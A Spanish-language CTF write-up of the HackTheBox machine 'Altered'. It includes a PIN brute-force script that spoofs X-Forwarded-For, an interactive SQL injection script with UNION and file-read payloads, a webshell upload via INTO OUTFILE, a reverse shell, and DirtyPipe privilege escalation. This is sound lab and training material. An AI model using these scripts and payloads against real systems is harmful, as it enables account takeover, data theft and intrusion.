Altered - HackTheBox

fsd

Comencé con un escaneo de Nmap para identificar puertos abiertos.

┌─[root@parrot]─[/home/wackyhacker/HTB/Altered/nmap]
└──╼ cat nmap.txt
# Nmap 7.92 scan initiated Thu Mar 31 23:44:05 2022 as: nmap -sS --min-rate 5000 -v -n -p- --open -Pn -o nmap.txt 10.10.11.159
Nmap scan report for 10.10.11.159
Host is up (0.43s latency).
Not shown: 52831 filtered tcp ports (no-response), 12702 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
# Nmap done at Thu Mar 31 23:46:22 2022 -- 1 IP address (1 host up) scanned in 137.22 seconds

Hice otro escaneo para detectar la versión de los puertos encontrados.

┌─[root@parrot]─[/home/wackyhacker/HTB/Altered/nmap]
└──╼ cat services.txt
# Nmap 7.92 scan initiated Thu Mar 31 23:47:11 2022 as: nmap -sCV -p22,80 -o services.txt 10.10.11.159
Nmap scan report for 10.10.11.159
Host is up (0.10s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-title: UHC March Finals
|_Requested resource was http://10.10.11.159/login
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 31 23:47:22 2022 -- 1 IP address (1 host up) scanned in 11.36 seconds

Solamente tenía dos puertos abiertos, el 22 no me servía de momento, por lo que mire el servidor web.

paginaprincipal

Parece ser un login, probé credenciales por defecto, admin admin pero no hubo suerte, me reporto un botón de Forgot Password.

passincorrect

El botón me redirigió a una página en la que se podía apreciar un tipo de panel en el que podía cambiar la contraseña de un usuario existente, probé con el usuario admin.

forgot

Y sí, existía, pero no tenía el pin correspondiente para poder cambiar la contraseña, intente hacer fuerza bruta con wfuzz para averiguar el pin, pero hubo un inconveniente, el pin se compone de 4 dígitos, por lo que cree un rango del 0 al 9999 e hice fuzzing al pin por POST añadiendo la cabecera Cookie con mi Cookie valga la redundancia, el problema residió a la hora de enviar las peticiones desde la misma IP, este las bloquea.

bloqueo

Esto lo podía evitar enviando la cabecera ‘X-Forwarded-For con un rango de IP’s diferentes, para ello cree un pequeño script en ‘bash’ que recorre un rango del 0 al 256 con un bucle anidado.

#!/bin/bash

for i in {0..256}; do
  for j in {0..256}; do
    echo "10.10.$i.$j"
  done
done

Y exporte el output de este en un archivo de texto.

delasprimeras

Hice fuzzing en la cabecera X-Forwarded-For con el diccionario de IP's y el servidor y ya no me bloqueaba, el pin era 9176.

$ wfuzz -c --hc=404 -u http://10.10.11.159/api/resettoken -d 'name=admin&pin=FUZZ' -z range,0000-9999 -H 'Cookie: XSRF-TOKEN=eyJpdiI6ImMxd0YwdlMvTTY2RlBOMVFVUkJhUFE9PSIsInZhbHVlIjoiakxXaDMxT3dlRktNaXkreEdsaVRGd25QN3lwTjI0TjhLU0JmSUxJd0R5cG50TTFEbnJycm05SFR5eXFKNUdETDFJR0dwbHAyeUZkU0JQV3dqUUtoUmtLRENRMlhPdCtrNUlrcTdvVlE1ODUwZmhrMXAyOUx4ZVdKbDN1OVl0Q3ciLCJtYWMiOiIyNmZmOWQ2MDdlYjVlMzE3YzRhZTM4ZjdlODk4MTdjOTA1YjY1ZGYwYzNmNzlhZTdiOGM0NDJhMjdjOGI1YWFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlyeUNmS0xhRFpOMzhhcEFSV1lVdmc9PSIsInZhbHVlIjoidzJsWTVhWm4wd1pBcWFxVlFOKzN4MTNFM1pSUTJ6blRabVpPeWJVV29Zd1ZIMXJuWGw4cW41Q1o5K1BGNXFGQ2M4V1dmWDE0VlJESWNKT2JWNnBpU0RNeFRqT3YvcjNuRGxxNmdEVkhoOFpIQ2dBOUZzdWRuRzVqVGhwN0FtaGoiLCJtYWMiOiJiNTg0M2E0NzNhYTdjOTIyMGI0NThiM2Q4OTdmNjBmNGMwZTQxMGUzMGZkOWQ4NzM4NWY2NDMwOWZhNzJmZjUwIiwidGFnIjoiIn0%3D' -w ips -H 'X-Forwarded-For: FUZ2Z' -m zip -t 100 --hh=5644

wfuzz

De igual manera, esto se podía hacer con un script en Python 3.

#!/usr/bin/python3

from pwn import *
from sys import exit
from requests import post
import signal
from random import randrange

burp = {'http': 'http://127.0.0.1:8080'}

def def_handler(sig,frame):
  print("Saliendo...")
  exit(0)
signal.signal(signal.SIGINT, def_handler)

class BruteForce():
  def __init__(self, main_url):
    self.__url = main_url

  def pin_code(self):
    p1 = log.progress("Probando PIN")
    p2 = log.progress("IP")

    for pin in range(9999):

      n1 = randrange(256)
      n2 = randrange(256)

      headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IlFoY3g0b2lTakNWMElZcGpuRnZjZHc9PSIsInZhbHVlIjoiQnUwZk9KS3JDQm5xZUNtamx3YVpSSm8yZVd0NTVQOUZOV3ZxMTFidStCbWJ4NXN4OS9GMXlSbnhEK0xNRWMwSzZTbnBMZVRVR3Vnb0dNUG5Zcm9ScmVTTks1ZTVYVXJWdVh2U05mZDZsQmJ4M3JROEc1Rm8vQlJNVURVTlFGMWgiLCJtYWMiOiI2N2IxNTEzM2Q2MTc1NzliNjU3ZWJmNzVkYjUwZmMyYWQzYzI5NjJiOGUxNmZkNDFkODlmOTJjOTgyYjVlMzMzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjJOMXFhTnVpRHcvUHU1d3F2NmxDS3c9PSIsInZhbHVlIjoiaFJGVVhNcitUTTFCWFJ2c0FzYlFJQ3ZCR1pEQlM0eEhQSXo0TStjTkI2cEExVUNPcThCRWRWMWxEcnRaQTJFZjU3ak52ZWdQRTdsSzBpYkZhZ3lzY0VrbG5OZHNlUWtrSFU4eEM2bmI2eE94OWQydWpSd0poK3ZXcHpwNXR3ZWEiLCJtYWMiOiI0MWI2YmFhYzIyMjgyMWYxZDYzZjVhNGQzMDYxNjFiOWM1NzU0ZjEyZWRhOWFiZjFmMDg5OTEyM2E0YWQ0MzZiIiwidGFnIjoiIn0%3D',
        'X-Forwarded-For': f'10.10.{n1}.{n2}'
      }

      data_post = {
        'name': 'admin',
        'pin': pin
      }

      p1.status(f"{pin}/9999")
      p2.status(f"10.10.{n1}.{n2}")
      r = post(self.__url+'/api/resettoken', data=data_post, headers=headers)

      if len(r.text) != 5644:
        p1.success(f"Valid -> {pin}")
        break

brutepincode = BruteForce('http://10.10.11.159')

def main():
  brutepincode.pin_code()

if __name__ == '__main__':
  main()

El uso de este script no es muy factible por su velocidad, pero se pueden añadir hilos haciendo uso de la librería concurrent.futures para acelerar el proceso.

Ahora bien, tras introducir el pin correcto me redirigió a un panel en el que podía cambiar la contraseña del usuario admin.

change

Le puse la contraseña uhc e inicie sesión.

pass

Esto es lo que se veía después del inicio de sesión.

users

Había una serie de usuarios con un botón llamativo, view, inspeccione el usuario admin y encontré una función interesante en el código JavaScript.

functionGetBio

Esta enviaba una petición GET pasándole dos parámetros ‘id’ y ‘secret’, para ver esto de una mejor manera intercepté la petición con BurpSuite al darle al botón View.

burp

Ahí esta, me reportaba mi id y mi secret por GET, envíe la petición.

response

Nada interesante en la respuesta, probé a cambiar de método de GET a POST y el resultado fue diferente.

cambioapost

No aceptaba este método, pero algo que me llamo la atención es que la respuesta estaba en formato JSON, probé a parsear los datos en JSON enviando una petición GET.

getconJSON

Seguía con la misma respuesta, ¿pero qué pasaba si cambiaba el id por otro?

cambioa1

La respuesta fue diferente, probé Type Juggling en secret asignando True y me reporto algo muy diferente.

typejuggling

Intente una inyección SQL en el parámetro id pero al parecer no tenía pinta de ser vulnerable.

sqlindicios

Probé a quitarle la camilla simple y tras múltiples intentos fallidos logré dar con una respuesta diferente, podría tener 3 columnas.

sincomilla

Para ello, cree un script en Python 3 para manejarme más cómodamente desde la terminal.

#!/usr/bin/python3

from pwn import *
import signal
from requests import get
from sys import exit

burp = {'http': 'http://127.0.0.1:8080'}

def def_handler(sig, frame):
  print("Saliendo...")
  exit(0)
signal.signal(signal.SIGINT, def_handler)

class InteractiveSQLi():
  def __init__(self, main_url):
    self.__url = main_url

  def sqli(self):
    while True:
      query = input('::$ ')

      headers = {
        "Content-Type": "application/json",
        "Cookie": "XSRF-TOKEN=eyJpdiI6IlFXVmNMS2dSdUpUcGRDZTFLRXBjK0E9PSIsInZhbHVlIjoiUHBXbko3OWpGdzdyOWFlWVJSclJnbzgrZlFxR0FhS1NWaDR5WmdudDBDMTBlRi91bVhIYkE1YzJXWTh5VmczUlRSTVR6dHRuUlpUa1JaN3ZJMjgwQ3pUd21uNnJadEFYS3oxYm5rQVZqdFVFRjc2c3JoRitxT3d0Y2p4TGVLSkUiLCJtYWMiOiJiYTdjZjJiZmViN2Q4NmE0OWJmMjIwNTA2Zjg4YjVmNDY3ZjMyMTNlOTUwN2U1N2NiYmVmZWZkOWNmZmZhMzY1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkdmM2RkeGlEVHBHano2RkRjTDZOUmc9PSIsInZhbHVlIjoiNlk5b2NnK2cvbGFFOG80RWpQcEFQckRrbU9kbjhWckREM2RRcjFwakR3VzNXeHk5dHc4UTFFbU0wZ0tRaGptL3JUeEpSUEZtZEJncXJObWRrQnBNTjE3dnRZaHgwbDI2YlNNL1c4RzB4SVpGNHZ0eWpjNjdRNncwWUJ0QnlvQnYiLCJtYWMiOiI3YjBmNjZjNzk0MjNhMDk2NjY5ZDBlMzIyYzJiOTNiMTg4NDA4ZWU2MjFjOTI1OWM5MGMwYzQ3Njk5ZWUzY2Y5IiwidGFnIjoiIn0%3D",
        "X-Requested-With": "XMLHttpRequest"
      }
  
      data_json = {
        "id": f"{query}",
        "secret": True
      }

      r = get(self.__url+'/api/getprofile', json=data_json, headers=headers)

      print('\n'+r.text+'\n')

sqlidebug = InteractiveSQLi('http://10.10.11.159')

def main():
  sqlidebug.sqli()

if __name__ == '__main__':
  main()

Sabiendo que podría estar tratándose de 3 columnas, inyecte 0 union select 1,2,3 y me reporto el 3 de vuelta, esto quería decir que podía inyectar queries en ese punto y este lo interpretaría.

sqlienterminal

Enumere todas las bases de datos disponibles con 0 union select 1,2,group_concat(schema_name) from information_schema.schemata;-- -.

basesdedatosenteras

uhc fue una DB que me llamo la atención, enumere las tablas de esta con 0 union select 1,2,group_concat(concat(table_name)) from information_schema.tables where table_name = 'uhc';-- -.

enumeratetables

La tabla users tenía buena pinta, por lo que enumere sus columnas con 0 union select 1,2,group_concat(concat(column_name)) from information_schema.columns where table_schema = 'users';-- -.

enumeraciondecolumnas

Ahí esta, name y password, esto es lo que tenían.

usershashes

Parecían ser los hashes de los usuarios del panel web, estos no me servian, ya que tenía la contraseña del usuario admin. Ahora bien, con la Inyección SQL podría visualizar archivos en la máquina usando load_file.

etcpasswd+

Y funciono, una utilidad como into outfile me permitiría subir archivos en el caso de que me dejara, pero no sabía la ruta en la que estaba corriendo el servidor web, tengo entendido que apache 2 corre en /var/www/html, pero, ¿y nginx?, hice una pequeña búsqueda y encontré lo siguiente.

nginxrutadefault

Tras visualizar el archivo /etc/nginx/site-available/default encontré una ruta potencial.

ahorasiruta

El servidor podría estar corriendo en /srv/altered/public, entonces si la utilidad into outfile está funcional podría subir un archivo a esta ruta y tener acceso desde la web, probé a subir un ‘test.txt’ con ‘test’ de contenido.

estaes

Y me dejo hacerlo.

subidaerfecta

Ahora simplemente subí una Webshell para ganar RCE.

shellphpverdadero rce

Para ganar acceso, cree un archivo index.html en mí máquina con el código del Shell inverso y compartí un servidor web por Python 3 alojando index.html y me puse en escucha por nc.

enescucha

Hice un curl a mi servidor desde la Webshell.

sentencia

Lo interprete con bash y gane acceso como www-data.

shellcomowdata

Hice un tratamiento de la TTY y pude visualizar la flag del usuario.

usertxt(1)


ESCALADA DE PRIVILEGIOS

Enumere la versión del kernel.

unamemenosa

Esta versión era vulnerable a CVE-2022-0847, DirtyPipe, me podía aprovechar de esta vulnerabilidad para sobreescribir la x del usuario root en el /etc/passwd por un hash y autenticarme posteriormente como el usuario root.

Para ello, usé el siguiente exploit.

Captura de pantalla (26)

Abrí un servidor por Python 3 alojando el exploit y lo descargué desde la máquina víctima con wget.

exploit1

Lo compile con gcc y lo ejecute.

errorraro

El resultado no tenía muy buen aspecto, pero tras ver el /etc/passwd verifique que si sobrescribió la x.

etcpasswdcambiado

Hice su root, pero aun había un reto más.

juego

Al parecer tenía que adivinar una palabra de 5 letras para poder introducir la contraseña de root, tras múltiples intentos fallidos, adivine la palabra, fstat, pude introducir la contraseña piped y migrar a root.

ganadocomoroot

Leave a comment